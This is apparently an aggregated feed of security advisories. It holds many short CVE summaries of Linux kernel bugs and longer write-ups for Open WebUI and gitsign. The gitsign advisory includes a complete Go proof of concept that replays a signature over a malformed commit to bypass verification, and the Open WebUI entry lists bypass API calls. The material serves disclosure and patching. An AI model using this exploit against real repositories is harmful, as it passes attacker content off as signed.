Livelock and CPU starvation in the Linux kernel memory management subsystem allows a local authenticated user to hang the system by triggering an unbounded spin loop in hmm_range_fault(). The root cause is in do_swap_page(), where failure to acquire folio_trylock() on a device-private folio causes the kernel to spin indefinitely while a competing process holding the lock is blocked waiting for work items on the same CPU - work items that are starved by the spinner. This vulnerability requires a highly specific combination of HMM device-private memory migration conditions and is confirmed reproduced by the Intel GPU test suite. No public exploit exists and no active exploitation is identified at time of analysis.
NULL pointer dereference in the Linux kernel's intel_pstate cpufreq driver crashes systems booted with the 'nosmt' parameter when CPU QoS requests are processed for SMT sibling threads. On 'nosmt'-booted systems, all_cpu_data[cpu] is NULL for disabled SMT siblings; update_cpu_qos_request() dereferences cpudata->pstate.turbo_freq before validating the policy pointer, producing a kernel panic and local denial of service. EPSS at 0.02% (4th percentile) reflects very low exploitation probability, no public exploit code has been identified, and no CISA KEV listing exists at time of analysis.
Out-of-memory exploitation in the Linux kernel's amdgpu DRM subsystem allows a local, low-privileged user to crash the system by supplying unchecked huge values to the amdgpu_userq_signal_ioctl interface. The missing upper-bound validation on user inputs enables resource exhaustion that can destabilize or deny service on any Linux system equipped with a supported AMD GPU. No public exploit code exists and no active exploitation has been confirmed (no CISA KEV listing), with an EPSS of 0.02% placing this firmly in the low-priority tier for most environments outside high-assurance or shared multi-user GPU workloads.
Reference leak in the Linux kernel's amdgpu userqueue subsystem allows a local low-privileged user to exhaust kernel resources by repeatedly triggering an early-abort code path in amdgpu_userq_wait_ioctl. When the ioctl aborts because the caller-supplied output array is too small, the kernel omits required reference drops on syncobj and timeline fence objects, preventing those objects from ever being freed. No active exploitation is confirmed (not in CISA KEV), and EPSS sits at 0.02% (4th percentile), signaling negligible real-world exploitation activity.
Out-of-memory exploitation in the Linux kernel's amdgpu DRM driver allows a local low-privileged user to crash or destabilize a system by supplying oversized input values to the amdgpu_userq_wait_ioctl interface. Systems running affected kernel versions with AMD GPU hardware are vulnerable to availability loss. No public exploit code has been identified at time of analysis, and an EPSS score of 0.02% (4th percentile) reflects very low real-world exploitation probability; this is not confirmed actively exploited (not in CISA KEV).
Memory leak in the Linux kernel's drm/xe (Intel Xe GPU) sync subsystem allows a local low-privileged user to cause a denial of service by exhausting kernel memory. The flaw exists in the drm/xe/sync error-handling path: when dma_fence_chain_alloc() fails, the user fence reference is not properly released (CWE-401), leaving allocated memory permanently inaccessible to the allocator. No active exploitation has been identified (EPSS 0.02%, 4th percentile, not in CISA KEV), and patches have been backported to stable kernel branches including 6.18.20 and 6.19.9.
Linux kernel MCTP driver leaks USB device references when probe fails, allowing local authenticated attackers to trigger denial of service through resource exhaustion. The flaw affects kernels from 6.15 through 6.19.9 and has been patched in versions 6.18.19, 6.19.9, and 7.0. EPSS score of 0.02% indicates minimal active exploitation risk, and no public exploit code has been identified at time of analysis.
A NULL pointer dereference in Linux kernel AMD GPU driver cleanup code causes local denial of service when GPU initialization fails on systems with unsupported AMD hardware blocks. Local authenticated users with low privileges can trigger kernel crashes during device teardown sequences. The vulnerability affects multiple stable kernel versions (6.18.16-6.18.19, 6.19.6-6.19.9) with patches available from upstream. EPSS score of 0.02% (4th percentile) indicates very low observed exploitation probability, and no active exploitation or public exploits are confirmed. Real-world impact is limited to systems with specific AMD GPU hardware experiencing initialization failures, making this primarily a reliability issue rather than a direct security threat.
Null pointer dereference in Linux kernel's AMD DRM driver causes system crash during device cleanup on unsupported hardware. The flaw (CWE-476) affects multiple 6.18.x and 6.19.x kernel versions, allowing local authenticated users to trigger denial of service through AMD GPU driver initialization or cleanup operations. Patches available via kernel stable tree commits with EPSS score of 0.02% indicating minimal exploitation likelihood. No active exploitation or public POC identified at time of analysis.
NULL pointer dereference in Linux kernel's ublk driver allows local authenticated users to crash the system by sending UBLK_CMD_UPDATE_SIZE to a device before it starts or after it stops. The vulnerability exists in ublk_ctrl_set_size() which unconditionally dereferences ub->ub_disk without validating the device state, triggering a kernel panic and causing a denial of service. Patches are available from the Linux kernel maintainers for versions 6.18.20, 6.19.9, and 7.0. EPSS score of 0.02% (4th percentile) indicates low observed exploitation probability, consistent with the local-only attack vector and absence from CISA KEV.
RCU locking imbalance in Linux kernel btrfs filesystem code causes local denial of service. The try_release_subpage_extent_buffer() function in btrfs can exit an error path without properly releasing an RCU read lock, creating a locking inconsistency that leads to system instability. Affects Linux kernel versions 6.17 through pre-7.0, with patches available in stable branches 6.18.19, 6.19.9, and mainline 7.0. EPSS score of 0.02% (4th percentile) indicates minimal observed exploitation activity. The flaw was detected through static analysis using Clang's thread-safety analyzer rather than field exploitation, suggesting lower immediate real-world risk despite the high-availability CVSS impact rating.
A NULL pointer dereference in the Linux kernel's adis_init() function causes kernel crashes when initializing ADIS IMU drivers (adis16480, adis16490, adis16545). The function attempts to dereference adis->ops without first verifying it is non-NULL, triggering denial of service on affected systems during device probe. Exploitation requires local access with low privileges (CVSS AV:L/AC:L/PR:L). EPSS score of 0.02% (4th percentile) indicates minimal real-world exploitation likelihood. Vendor patches available across multiple stable kernel versions (6.19.9, 6.18.19, 7.0).
Denial of service in Linux kernel KVM/arm64 vGIC subsystem allows local authenticated users with low privileges to crash the hypervisor via use-after-free during virtual interrupt controller teardown. CVSS rates this 5.5 (medium severity, local vector), but EPSS exploitation probability is very low at 0.02% (4th percentile). Patches available across multiple stable kernel versions (6.18.19, 6.19.9, 7.0). No active exploitation confirmed per CISA KEV, and the local-only attack vector with specific KVM/ARM64 deployment requirements limits real-world impact to environments running ARM64 virtualization workloads.
Use of uninitialized memory in Linux kernel f2fs filesystem node footer validation causes local denial of service. Linux kernel versions 7.0 through 7.1-rc1 with f2fs support allow local authenticated users to trigger a kernel crash by mounting a maliciously crafted f2fs filesystem image. The vulnerability occurs when f2fs_sanity_check_node_footer() accesses uninitialized folio data after a failed disk read operation during filesystem mount, as reported by syzbot. EPSS score of 0.02% (4th percentile) indicates minimal real-world exploitation likelihood. Vendor patches available for stable kernel branches 6.18.25, 7.0.2, and 7.1-rc1.
Local denial of service in Linux kernel PTP (Precision Time Protocol) driver for Intel Ethernet (ice) allows authenticated users with low privileges to crash the system when PF passthrough is configured without the controlling PF. The vulnerability is caused by improper null pointer handling (CWE-617) when ice_ptp_setup_pf() attempts to access an uninitialized PTP controlling PF in VFIO passthrough configurations. Affects Linux kernel 6.13 through 7.0-rc7. EPSS probability is very low (0.02%, 4th percentile) and no active exploitation has been reported. Patches are available in stable branches 6.18.24, 6.19.14, and mainline 7.0.
NULL pointer dereference in the Linux kernel's AMD display driver (DRM subsystem) allows local authenticated users to crash the system via dcn401_init_hw() function. Affects kernel 6.12 through 7.0-rc6, specifically the DCN 4.01 hardware sequencer in amdgpu driver. Vendor patches available for stable branches (6.18.22, 6.19.12, 7.0). EPSS exploitation probability is very low (0.02%, 4th percentile), indicating minimal real-world threat despite moderate CVSS score. Not listed in CISA KEV, and no public exploit code identified at time of analysis.
Kernel crash loop in x86_64 Linux when kexec is executed on a kernel built with both CONFIG_KCOV and CONFIG_KEXEC enabled. The load_segments() function invalidates the GS base register that KCOV relies on for per-cpu data access; any subsequently instrumented C function call (e.g. native_gdt_invalidate()) triggers an endless crash loop resulting in a kernel panic and complete system unavailability. No public exploit exists and EPSS is 0.02% (4th percentile), consistent with the highly constrained triggering environment - this primarily affects kernel developers and syzkaller-based fuzzing infrastructure rather than general-purpose production systems.
A firmware crash in Linux kernel's iwlwifi driver (versions 6.9 through 7.0-rc7) occurs when the AX201 Wi-Fi adapter incorrectly receives a 6GHz-related command (MCC_ALLOWED_AP_TYPE_CMD) despite lacking 6E support. This triggers a local denial of service (CVSS 5.5, AV:L) requiring low privileges. Vendor patches are available across stable branches (6.18.22, 6.19.12, 7.0). EPSS score of 0.02% (4th percentile) indicates minimal real-world exploitation risk, with no active exploitation or public POC identified. Priority for systems using Intel AX201 adapters where local users could trigger system instability.
Race condition in drm/panthor GPU driver violates dma-fence safe access rules, allowing local authenticated users to cause denial of service via timeline name retrieval racing with queue freeing. CVSS 5.5 (local, low complexity) with EPSS 0.02% indicating minimal real-world exploitation likelihood despite active kernel-level flaw.
Denial of service in Linux kernel DRM GEM shmem helper functions allows local privileged attackers to trigger CPU warnings and system instability via improper reservation lock handling around vmap/vunmap operations. The vulnerability affects Linux 6.16 and multiple stable branches (6.18, 6.19, 7.0) and is resolved in patched versions; exploitation requires local access with limited privileges and produces availability impact through kernel warnings rather than remote compromise.
System hang during RAID array teardown affects Linux kernel's dm-raid target when metadata devices are suspended before removal. The vulnerability triggers when stopping dm-raid managed arrays, causing md_stop() to indefinitely block while attempting to flush write-intent bitmaps to already-suspended metadata devices. With EPSS exploitation probability at 0.02% (4th percentile) and vendor patches available for kernel versions 6.18.16, 6.19.6, and 7.0, this represents a local denial-of-service risk requiring low privileges but poses minimal risk in most environments due to the specific dm-raid configuration prerequisite.
A reference count underflow in the Linux kernel's chips-media wave5 video codec driver causes a runtime PM usage count to decrement below zero during module removal, triggering a kernel warning and potentially causing denial of service when the driver is unloaded. The vulnerability affects unprivileged local users on systems with the wave5 codec driver enabled, and occurs when the device has already been suspended via autosuspend before the remove path executes pm_runtime_put_sync(). EPSS score of 0.02% indicates low exploitation probability despite the denial-of-service capability.
Denial of service in Linux kernel drm/amdgpu driver (VCNv2.5) affects virtual function (VF) GPU environments running kernel versions prior to 6.18.16, 6.19.6, and 7.0. During module unload or system deinitialization, VF configurations trigger a kernel warning and potential crash when attempting to release an uninitialized VCN poison interrupt handler. EPSS exploitation probability is very low (0.02%, 4th percentile) with no public exploit or active exploitation (not in CISA KEV). Vendor patches available across multiple stable kernel branches via upstream commits.
Kernel panic occurs in the Renesas RZ/G2L MIPI DSI driver during system reboot when display panels attempt to send DSI commands in their unprepare callback, due to incorrect sequencing of driver shutdown. The vulnerability affects Linux kernel versions from commit 56de5e305d4b onwards on ARM64 systems running RZ/G2L platforms with specific panel types, allowing local users with standard privileges to trigger a denial of service by initiating a reboot.
Memory accounting errors in Linux kernel hugetlb subsystem cause subpool reservation counters to incorrectly increment on failed global allocations, eventually rendering hugetlb subpools permanently unusable. The vulnerability affects Linux kernels from 6.15 onward where commit a833a693a490 introduced the flaw. When a process requests hugepages that require both subpool and global pool resources, failed global allocations leave the subpool's used_hpages counter elevated despite no actual page consumption, progressively exhausting the subpool's apparent capacity until all future allocations fail. Patches available for kernels 6.18.16, 6.19.6, and 7.0. EPSS score of 0.02% and lack of KEV listing indicate low exploitation probability, though local authenticated attackers can trigger the condition to cause denial of service against hugetlb-dependent workloads.
Denial of service via NMI-unsafe seqcount access in Linux kernel memory slab allocator allows local privileged attackers to trigger kernel deadlock when get_from_any_partial() is called in NMI context. The vulnerability stems from unsafe access to current->mems_allowed_seq (a spinlock-based seqcount) without NMI-safety guarantees, causing lockdep warnings and potential system hang. EPSS exploitation probability is low at 0.02%, and no active exploitation has been confirmed.
Denial of service via missing reservation lock in drm/tests shmem allows local authenticated users to trigger a kernel warning and crash the DRM graphics subsystem. The vulnerability exists in DRM test code that calls drm_gem_shmem_madvise_locked() without properly acquiring the GEM object's reservation lock, causing CPU warnings and potential system instability on affected kernel versions.
Denial of service in Linux kernel DRM GEM shmem helper when drm_gem_shmem_purge_locked() is called without properly holding the GEM object's reservation lock, affecting local authenticated users. The vulnerability causes a kernel warning and denial of service condition in the direct rendering manager's shared memory handling code. CVSS 5.5 with low EPSS (0.02%) indicates limited real-world exploitation despite availability of patch. Affected Linux versions prior to kernels with commits cdf8bbbd9017adcfb91ad9a902198d4b507719a9, 8baeee2c1c0cdb3a8eac3b8f38156cce6ee1a69f, and 3f41307d589c2f25d556d47b165df808124cd0c4.
electerm 3.8.15 and prior exposes environment variables containing secrets through the getConstants() IPC handler, which serializes the entire process.env object and stores it as window.pre.env accessible to any JavaScript running in the renderer process. An attacker achieving JavaScript execution within the renderer-via DevTools, compromised webview, or client-side injection-can exfiltrate sensitive credentials to remote servers, enabling cloud account compromise and lateral movement. No public exploit code identified at time of analysis, but the vulnerability is trivial to exploit once renderer JavaScript execution is achieved.
Read-only users in Open WebUI can modify collaborative documents via Socket.IO by emitting crafted `ydoc:document:update` events that bypass write permission checks, allowing them to inject, modify, or delete content visible to all collaborators in real time. While direct database persistence requires write access, tampered content becomes permanent if any write-enabled user saves the document, undermining the read/write permission model for collaborative editing.
Open WebUI Ollama proxy endpoints bypass model access control checks, allowing authenticated users to access restricted models and expose sensitive configuration. Four endpoints (/api/generate, /api/embed, /api/embeddings, /api/show) fail to validate AccessGrants permissions before forwarding requests to the Ollama backend, despite the /api/chat endpoint implementing proper authorization checks. Attackers with any valid user account can consume GPU resources on restricted models and view sensitive details like system prompts by directly calling unprotected endpoints with known model names.
Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, a stored cross-site scripting (XSS) vulnerability exists in the campaign management feature, where the email body content created by authenticated project members is stored and later rendered in the admin dashboard using React's dangerouslySetInnerHTML without any HTML sanitization. This allows a lower-privileged member to embed malicious scripts in a campaign's email body that execute in the context of any admin or other member who views the campaign, potentially enabling session hijacking or unauthorized actions on their behalf. This issue has been patched in version 0.9.0.
Authentication bypass in gitsign --verify allows attackers to make unsigned or invalid commits appear verified when callers check only exit codes. CertVerifier.Verify() unconditionally dereferences the first certificate from a PKCS7 signature without validating that certificates exist; a crafted signature with an empty certificate set causes an index-out-of-range panic that is silently recovered by internal error handling, returning exit code 0 instead of an error. Exit-code-only verification callers (scripts, CI pipelines) misinterpret this panic as successful verification, while git's own status-fd verification path is partially protected by checking for the GOODSIG status token. The vulnerability affects gitsign versions 0.4.0 through 0.14.x; confirmed actively exploited is not indicated, but a working proof-of-concept exists in the advisory.
# Deactivated Channel Members Retain Full Access to Group/DM Channels ## Affected Component Channel membership authorization check: - `backend/open_webui/models/channels.py` (lines 663-673, `is_user_channel_member`) - Used at 15 locations in `backend/open_webui/routers/channels.py` ## Affected Versions Current main branch (commit `6fdd19bf1`) and likely all versions with the group/DM channel feature. ## Description The `is_user_channel_member` function checks whether a `ChannelMember` row exists but does not check the `is_active` field. When a user is deactivated from a group or DM channel (removed by the channel owner, or leaves voluntarily), their membership row persists with `is_active=False` and `status='left'`. Because the authorization check ignores this field, the deactivated user retains full read and write access to the channel via direct API calls. The channel correctly disappears from the deactivated user's channel list (the listing query at `get_channels_by_user_id` properly filters on `is_active`), but all 15 message-level endpoints in the router rely on `is_user_channel_member` for authorization, which does not filter on `is_active`. ```python # models/channels.py:663 - missing is_active check def is_user_channel_member(self, channel_id, user_id, db=None): membership = db.query(ChannelMember).filter( ChannelMember.channel_id == channel_id, ChannelMember.user_id == user_id, ).first() return membership is not None # True even when is_active=False ``` Compare with `get_channel_by_id_and_user_id` (line 778) which correctly checks `ChannelMember.is_active.is_(True)`. ## CVSS 3.1 Breakdown | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API calls | | Attack Complexity | Low (L) | No special conditions beyond knowing the channel ID (which the user had as a former member) | | Privileges Required | Low (L) | Requires a valid user account and prior channel membership | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact is within the same authorization boundary (the channel) | | Confidentiality | Low (L) | Can read messages in a channel the user should no longer access | | Integrity | Low (L) | Can post, edit, and delete messages in the channel | | Availability | None (N) | No denial of service | ## Attack Scenario 1. User A and User B are members of a private group channel. 2. The channel owner removes User B (or User B leaves). User B's membership is set to `is_active=False, status='left'`. 3. The channel disappears from User B's UI - but User B noted the channel ID while they were a member. 4. User B calls the API directly: - `GET /api/v1/channels/{channel_id}/messages` - reads all messages, including those posted after deactivation - `POST /api/v1/channels/{channel_id}/messages/post` - posts new messages - `POST /api/v1/channels/{channel_id}/messages/{id}/update` - edits messages - `DELETE /api/v1/channels/{channel_id}/messages/{id}/delete` - deletes messages 5. All requests succeed because `is_user_channel_member` returns `True`. ## Impact - Deactivated users can continue reading all new messages posted after their removal (confidentiality breach) - Deactivated users can post, edit, and delete messages (integrity breach) - The deactivation mechanism provides a false sense of security - channel owners believe removed users have lost access ## Preconditions - Channels feature must be enabled (disabled by default) - Attacker must have a valid user account - Attacker must have been a member of the channel at some point (and thus knows the channel ID) ## Recommended Fix Add `is_active` filtering to `is_user_channel_member`: ```python def is_user_channel_member(self, channel_id, user_id, db=None): membership = db.query(ChannelMember).filter( ChannelMember.channel_id == channel_id, ChannelMember.user_id == user_id, ChannelMember.is_active.is_(True), ).first() return membership is not None ``` This aligns it with the existing `get_channel_by_id_and_user_id` method which already applies this filter correctly.
Open WebUI versions up to 0.8.12 allow authenticated users to bypass channel access control restrictions by directly persisting arbitrary access grants without applying the `filter_allowed_access_grants()` validation used consistently across other resource types. An attacker with channel creation or ownership privileges can grant public read access (via wildcard principal grants) or individual user access, circumventing admin-configured sharing permission policies. This affects installations where administrators restrict public sharing or user-grant capabilities to specific roles.
In libslic3r/GCode/PostProcessor.cpp in Prusa PrusaSlicer through 2.6.1, a crafted 3mf project file can execute arbitrary code on a host where the project is sliced and G-code exported. Rated medium severity (CVSS 5.3), this vulnerability is no authentication required, low attack complexity. No vendor patch available.
Insufficient input validation of the `plugin` parameter of the `create_user` plugin allows arbitrary Perl code execution on behalf of the already authenticated account's system user.
Path traversal vulnerability in novaGallery prior to version 2.1.1 allows unauthenticated remote attackers to read arbitrary image files outside the intended gallery root directory via crafted album or image parameters. The vulnerability has low real-world impact (confidentiality only, CVSS 5.3) but affects all unpatched installations since exploitation requires no authentication, user interaction, or special configuration. Vendor-released patch version 2.1.1 is available.
Cross-site scripting (XSS) via unescaped HTML attributes in mistune's figure directive allows attackers to inject arbitrary HTML and JavaScript when processing markdown documents with figure directives, bypassing the HTMLRenderer escape setting. The `figclass` and `figwidth` parameters in `render_figure()` are concatenated directly into HTML without sanitization, while other attributes in the same file are properly escaped. Vulnerability affects mistune versions through 3.2.0; no patched version is currently released.
Langfuse versions 3.68.0 through 3.166.x contain an insufficient access control flaw allowing authenticated project members to modify LLM connection endpoints and exfiltrate stored provider API keys in plaintext. An attacker with 'member' role can update an existing LLM connection's baseUrl to an attacker-controlled server, causing Langfuse to reuse the stored provider secret and redirect test requests to that endpoint, exposing credentials like OpenAI API keys. The vulnerability requires prior project membership but no elevated privileges; it was patched in version 3.167.0.
A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory.
Open redirection in Cradle eCommerce login form endpoint allows attackers to redirect authenticated users to arbitrary external URLs via the unvalidated 'returnUrl' parameter, enabling phishing and credential theft attacks. The vulnerability affects the latest demo version and requires user interaction to click a malicious link, but carries low real-world exploitation probability (EPSS 0.04%) and no confirmed active exploitation at time of analysis.
Cross-proxy Digest authentication state leak in curl allows remote attackers to obtain sensitive authentication credentials when curl is used with proxy authentication across multiple proxy hops. The vulnerability affects curl versions from 7.12.0 through 8.19.0 due to improper handling of Digest authentication state between proxies, enabling credential disclosure with network-level access and no authentication requirements. EPSS score of 0.03% suggests low real-world exploitation probability despite the information disclosure impact.
### Impact The Documents and Images [API](https://docs.wagtail.org/en/stable/advanced_topics/api/index.html) incorrectly listed items in private collections. A user with access to the API could see the filename and name of documents and images in private collections. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds Site owners using Wagtail's API can avoid the vulnerability by adding [authentication](https://docs.wagtail.org/en/stable/advanced_topics/api/v2/configuration.html#authentication) to the Documents and Images APIs. ### Acknowledgements Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. ## Severity **Medium** (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network - a malformed commit can be distributed via any accessible git remote - **Attack Complexity:** High - exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) - **Privileges Required:** None - the most impactful form (signature replay) requires no signing key - **User Interaction:** Required - a victim must run `gitsign verify` on the malformed commit - **Scope:** Unchanged - impact is confined to the repository under verification - **Confidentiality Impact:** None - **Integrity Impact:** High - a verified signature appears to endorse content different from what git-core resolves and presents to users - **Availability Impact:** None ## Affected Component - `internal/commands/verify/verify.go` - `(o *options).Run` (line 75) - `internal/commands/verify-tag/verify_tag.go` - `(o *options).Run` (line 77) - `pkg/git/verify.go` - `ObjectHash` (lines 126-158, specifically the `commit()` round-trip at 161-176) ## CWE - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-295**: Improper Certificate Validation (secondary - the mismatch allows a cert to appear to cover content it never covered) ## Description ### Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63-92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76-95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` ### The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137-142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree - which can differ from what git-core resolves. ### Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them: ```go // internal/commands/root/verify.go:56-70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). ### Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature over T1 canonical form> -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature - replayed verbatim> -----END SIGNED MESSAGE----- This is Alice's commit. ``` - **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com." - **`git log` / `git-core`**: uses T2 (attacker-controlled content). - **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash - consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. ## Proof of Concept ```go // poc_tree_mismatch.go - run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <eve@example.com> 1700000000 +0000" committer := "committer Eve <eve@example.com> 1700000000 +0000" msg := "msg\n" // Sign the go-git canonical form (second tree only) canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg) id := &identity{cert: cert, priv: priv} resp, err := signature.Sign(context.Background(), id, []byte(canonicalData), signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0}) if err != nil { panic(err) } // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git) malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s", treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg) st := memory.NewStorage() enc := st.NewEncodedObject() enc.SetType(plumbing.CommitObject) w, _ := enc.Writer() _, _ = w.Write([]byte(malformedRaw)) _ = w.Close() c, err := object.DecodeCommit(st, enc) if err != nil { panic(err) } // Reproduce what gitsign verify does out := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(out); err != nil { panic(err) } r, _ := out.Reader() verifyData, _ := io.ReadAll(r) roots := x509.NewCertPool() roots.AddCert(cert) v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots)) _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true) objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature)) rawObj := &plumbing.MemoryObject{} rawObj.SetType(plumbing.CommitObject) _, _ = rawObj.Write([]byte(malformedRaw)) fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst) fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond) fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String()) fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData) fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted fmt.Println("OBJECTHASH_ERROR:", oerr) fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash) fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash } ``` **Expected output:** ``` FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb VERIFY_DATA_EQUALS_CANONICAL: true CERT_VERIFY_ERROR: <nil> ← signature accepted OBJECTHASH_ERROR: <nil> OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form> RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split ``` ## Impact - **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key. - **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability. ## Recommended Remediation ### Option 1: Verify against raw bytes (preferred) Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`: ```go // internal/commands/verify/verify.go - replace lines 63-92 enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h) if err != nil { return fmt.Errorf("error reading encoded commit object: %w", err) } r, err := enc.Reader() if err != nil { return err } rawBytes, err := io.ReadAll(r) if err != nil { return err } data, sig, err := git.ExtractSignatureFromRawObject(rawBytes) if err != nil { return err } // data is now the raw bytes without the gpgsig header - identical to what git-core passes 